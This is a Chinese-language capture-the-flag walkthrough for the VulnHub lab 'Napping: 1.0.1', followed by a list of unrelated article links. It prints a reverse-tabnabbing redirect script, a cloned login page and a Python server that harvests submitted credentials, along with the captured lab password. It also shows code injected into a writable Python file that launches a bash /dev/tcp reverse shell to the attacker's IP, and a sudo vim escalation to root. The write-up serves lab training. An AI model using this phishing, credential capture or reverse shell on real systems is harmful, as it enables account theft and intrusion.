当前位置: 首页 > news >正文

Napping: 1.0.1靶场攻略

靶场:Napping: 1.0.1 ~ VulnHub

说明:因为不会这道题的解法看了大家的攻略复现过程中发现了一些问题,用ai等工具改进后得出 结果。问题具体表现为网上普遍的解法用nc lvp 8888 和python -m http.server 到8000端口后靶机会无法post成功,因为根据同源策略由8000端口转换为8888端口后会向8888端口发送请求头,nc监听无法回应,靶机只能转向8000端口发送post请求,而http中没有post功能会出现503报错。以下是具体攻略,只讲解过程,有不会的代码请自行ai。

环境介绍

虚拟机:VirtualBox

靶机ip:192.168.86.8

攻击机ip: 192.168.86.4(kali)

连接方式:NAT网络

一、信息搜集

扫描局域网获得靶机ip

arp-scan -l

找到ip为192.168.86.8。

用namp扫描开放端口

nmap -A -p 1-65535 192.168.86.8

22 ssh端口和80 默认端口开着。访问目录没结果,不列出了,我们直接下一步,访问浏览器。

二、漏洞利用

打开 http://192.168.86.8/

注册一个账户登录。

您好,管理员!欢迎来到我们的免费博客推广网站。 请提交你的链接以便我们开始审核。所有链接都会由管理员进行核验。

意思就是我们提交的网站他管理员会登录,我们就可以使用钓鱼链接提交网站。

首先我们要制作自己的钓鱼脚本B.html

<script> if(window.opener){ window.opener.location.replace("http://192.168.86.4:8000/c.html"); } </script>

意思是打开就会跳转到我们设置的仿靶机的登录网站。

然后直接查看登录页面的源代码制作c.html

<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <title>Login</title> <link rel="stylesheet" href="https://stackpath.bootstrapcdn.com/bootstrap/4.5.2/css/bootstrap.min.css"> <style> body{ font: 14px sans-serif; } .wrapper{ width: 360px; padding: 20px; } </style> </head> <body> <div class="wrapper"> <h2>Login</h2> <p>Please fill in your credentials to login.</p> <form action="/" method="post"> <div class="form-group"> <label>Username</label> <input type="text" name="username" class="form-control " value=""> <span class="invalid-feedback"></span> </div> <div class="form-group"> <label>Password</label> <input type="password" name="password" class="form-control "> <span class="invalid-feedback"></span> </div> <div class="form-group"> <input type="submit" class="btn btn-primary" value="Login"> </div> <p>Don't have an account? <a href="register.php">Sign up now</a>.</p> </form> </div> </body> </html>

注意把表格提交位置这个改一下,<form action="/" method="post">

再写一个server.py

from http.server import HTTPServer, BaseHTTPRequestHandler import os class Handler(BaseHTTPRequestHandler): def do_GET(self): path = self.path.lstrip("/") if os.path.exists(path): with open(path, "rb") as f: data = f.read() self.send_response(200) self.send_header("Content-Type", "text/html;charset=utf-8") self.end_headers() self.wfile.write(data) else: self.send_response(404) self.end_headers() def do_POST(self): length = int(self.headers["Content-Length"]) data = self.rfile.read(length).decode() print("\n==== 捕获登录凭证 ====") print(data) print("======================\n") self.send_response(200) self.send_header("Content-Type", "text/html;charset=utf-8") self.end_headers() self.wfile.write("<h3>登录成功,请稍后</h3>".encode("utf-8")) if __name__ == "__main__": server = HTTPServer(("0.0.0.0", 8000), Handler) print("服务启动 0.0.0.0:8000") server.serve_forever()

把他们放kali的/var/www/html里,放不进去的话右键open as root,输入密码就行了。然后

运行server.py

python3 server.py

这里稍微讲解一下为什么会这样,因为http没有post请求,所以需要用python脚本建立一个post方式这样我们建立的http回话才能用post传递。这里比较抽象,可以结合别人的攻略还有开头我说的问题一起阅读更方便理解。

具体是这样的

得到账号密码

  • 用户名:daniel
  • 密码:C@ughtm3napping123

用ssh登录

ssh daniel@192.168.86.8

如果有问题 就输入yes

然后输入密码C@ughtm3napping123

三、提权

用id查看当前所在的用户组

发现administrators

查找administrators下的可执行文件

find / -group administrators 2>/dev/null

然后往里塞两行代码,让他打开shell.sh文件。

import os os.system('/usr/bin/bash /home/daniel/shell.sh')

用vim 打开这个python.py

vim /home/adrian/query.py

i插入,写完了之后按ESC,然后输入:wq!回车保存!

然后再写shell.sh

vim /home/daniel/shell.sh
bash -c 'bash -i >& /dev/tcp/192.168.86.4/1234 0>&1'

完成后用kali监听nc

nc -lvpp 1234

sudo -l,列出当前用户所有 sudo 权限,发现vim

用vim提权,

sudo /usr/bin/vim -c ':!/bin/sh'

这回就是root了,

找到root所属文件夹。

cd /root ls cat root.txt

Admins just can't stay awake tsk tsk tsk

结果是这个。


http://www.jsqmd.com/news/1144922/

相关文章:

  • 系统日志智能分析和数据库自动备份怎么做?从工程实践到企业级智能自动化选型建议
  • Oracle 11g RAC 多路径配置总搞不定?iSCSI + Multipath + ASM 磁盘组,14节视频带你完整通关
  • 阿里云 OPC 创业平台:从零搭建 OpenClaw AI Agent 完全实战手册
  • MateClaw 1.7.0 开源发布,企业级JAVA龙虾平台,支持员工、看板、WIKI知识库、技能和审计,Spring AI 最佳实践
  • 销售线索自动跟进和商机管理能用AI吗?——2026企业级AI Agent落地深度测评
  • 基于HarmonyOS的情侣美食管理应用开发实战(三)- 美食相册与设置功能
  • 【OpenHarmony/HarmonyOs 】从化学学习 App 出发:近场快传、实况窗与全场景智慧学习方案
  • 《凌微经》通读:论“透过现象看本质”与“把握本质辨现象”的理论实践之统一
  • 设备机箱定制厂家如何提升客户满意度
  • 存储碎片化难以根治?深度解析 PowerFS 真正的协议无关存储底层设计
  • 如何在openEuler上快速部署Marvell QLogic FC HBA驱动:qla2xxx安装教程
  • ISO9001认证真的有用吗?干了多年投标的人来说点真话
  • 【单片机毕业设计】基于 STM32 单片机与 NRF24L01 的四路无线继电器控制系统设计,基于 51 单片机与 NRF24L01 的无线多路开关控制装置设计(020701)
  • ImportError: cannot import name ‘download‘ from ‘aistudio_sdk.hub‘ (/opt/conda/envs/pure-paddle/lib/
  • 第2篇:策略模式三大角色拆解与UML
  • 【Java实习面试算法冲刺】栈、队列与单调栈
  • 从零打造一款垂直领域微信小程序:工程实践与技术复盘
  • Python学习笔记·第28天:Git入门——版本控制与基础操作
  • 固态硬盘台式怎么安装在笔记本身上?
  • 深入理解进程:从硬件到操作系统的进程管理
  • Python 装饰器:FastAPI 路由背后的“智能包装流水线”
  • AI Agent 想越用越强,关键不是记忆,而是飞轮
  • 技术创业的团队文化建设:远程协作与异步沟通的落地实践
  • 多智能体协作真相:不要把共享记忆变成垃圾场
  • 儿童面部彩绘品牌推荐:安全与色彩的双重考量
  • D2DX:让《暗黑破坏神2》在现代PC上完美运行的终极方案
  • 分享|旧手机转SIP网关,门槛到底多高?
  • 高密度扇出面板封装的检测与计量技术追赶之路
  • 2026论文全流程终极榜单:10款降AIGC平台, 合规修正一路顺畅
  • 教你2.5秒学会使用Python